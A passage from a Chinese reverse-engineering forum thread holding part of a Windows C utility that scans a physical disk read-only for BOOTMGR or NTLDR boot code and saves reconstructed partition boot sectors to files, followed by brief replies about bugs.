                return FALSE;
        }
        bootsect.NumberSectors = NumberSectors;
        DWORD dwWrite;
        if (!WriteFile(hFile, &bootsect, 512, &dwWrite, NULL))
        {
                printf("Failed to write output file.\n");
                CloseHandle(hFile);
                return FALSE;
        }
        CloseHandle(hFile);
        printf("Partition size updated, boot sector saved to file: %ls\n", FileName);
        return TRUE;
}
 
void hexdump(LPCVOID buf, DWORD len)
{
        const char *p = (const char *)buf;
        for (DWORD i = 0; i < len; i++)
        {
                printf("%.2X ", (UCHAR)p[i]);
                if ((i + 1) % 16 == 0)
                {
                        printf("| ");
                        for (DWORD j = i - 15; j <= i; j++)
                        {
                                if (isprint(p[j])) printf("%c", p[j]);
                                else printf(".");
                        }
                        printf("\n");
                }
        }
        printf("\n");
}
 
int main()
{
        printf("Please input the disk id: ");
        int DiskId;
        scanf_s("%d", &DiskId);
        WCHAR DiskName[MAX_PATH];
        swprintf_s(DiskName, L"\\\\.\\PhysicalDrive%d", DiskId);
        HANDLE hDisk = CreateFile(DiskName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hDisk == INVALID_HANDLE_VALUE)
        {
                printf("Failed to open the disk.\n");
                return 1;
        }
        DISK_GEOMETRY_EX DiskInfo;
        DWORD dwRet = 0;
        if (!DeviceIoControl(hDisk, IOCTL_DISK_GET_DRIVE_GEOMETRY_EX, NULL, 0, &DiskInfo, sizeof(DiskInfo), &dwRet, NULL))
        {
                printf("Failed to get disk geometry.\n");
                return 1;
        }
        ULONGLONG TotalSectors = DiskInfo.DiskSize.QuadPart / 512;
        DWORD SectorsPerCylinder = DiskInfo.Geometry.SectorsPerTrack * DiskInfo.Geometry.TracksPerCylinder;
        ULONGLONG TotalCylinders = DiskInfo.Geometry.Cylinders.QuadPart;
        printf("Total sectors = %llu\n", TotalSectors);
        printf("Total cylinders = %llu\n", TotalCylinders);
        printf("Sectors per cylinder = %d\n", SectorsPerCylinder);
        ULONGLONG StartCylinder = 0;
        ULONGLONG LastStartSector = -1;
        char lastbuf[512];
        memset(lastbuf, 0x22, sizeof(lastbuf));
        char *buf = (char *)malloc(SectorsPerCylinder * 512);
        for (; StartCylinder < TotalCylinders; StartCylinder++)
        {
                printf("\rSearching cylinder %llu/%llu...", StartCylinder, TotalCylinders);
                ULONGLONG CurSector = StartCylinder * SectorsPerCylinder;
                LARGE_INTEGER Offset = { 0 }, NewOffset = { 0 };
                Offset.QuadPart = CurSector * 512;
                SetFilePointerEx(hDisk, Offset, &NewOffset, FILE_BEGIN);
                DWORD SectorsRead = min(SectorsPerCylinder, TotalSectors - CurSector);
                DWORD BytesRead = SectorsRead * 512;
                if (!ReadFile(hDisk, buf, BytesRead, &dwRet, NULL) || dwRet < BytesRead)
                {
                        fprintf(stderr, "\nRead cylinder error: %llu\n", StartCylinder);
                        memset(lastbuf, 0x22, sizeof(lastbuf));
                        continue;
                }
                unsigned char Magic1[16] = { 0x07, 0x00, 0x42, 0x00, 0x4F, 0x00, 0x4F, 0x00, 0x54, 0x00, 0x4D, 0x00, 0x47, 0x00, 0x52, 0x00 };
                unsigned char Magic2[16] = { 0x05, 0x00, 0x4E, 0x00, 0x54, 0x00, 0x4C, 0x00, 0x44, 0x00, 0x52, 0x00, 0x04, 0x00, 0x24, 0x00 };
                for (DWORD i = 0; i < SectorsRead; i++)
                {
                        BOOL IsBootmgr = !memcmp(buf + i * 512, Magic1, 16);
                        BOOL IsNtldr = !memcmp(buf + i * 512, Magic2, 16);
                        if (IsEmptySector(i == 0 ? lastbuf : buf + (i - 1) * 512) && (IsBootmgr || IsNtldr))
                        {
                                ULONGLONG StartSector = CurSector + i;
                                printf("\nFound boot code in sector %llu\n", StartSector);
                                WCHAR filename[MAX_PATH];
                                swprintf_s(filename, L"PBR_Sector_%llu.bin", StartSector - 1);
                                ProcessVolume(hDisk, StartSector, TotalSectors, IsBootmgr, filename);
                                if (LastStartSector != -1)
                                {
                                        swprintf_s(filename, L"PBR_Sector_%llu.bin", LastStartSector);
                                        UpdatePartSize(filename, StartSector - 1 - LastStartSector - 1);
                                }
                                LastStartSector = StartSector - 1;
                        }
                }
                memcpy(lastbuf, buf + (SectorsRead - 1) * 512, sizeof(lastbuf));
        }
        CloseHandle(hDisk);
        printf("\nSearch completed, press any key to exit...\n");
        _getch();
        return 0;
}
fandazong 发表于 2025-4-14 00:56
YWFhYmJi 发表于 2025-4-13 21:16
你这个新的程序也是一个示例程序,而且有很多bug
1. numpy库版本冲突

好的,谢谢,受教了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-6-11 05:41

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表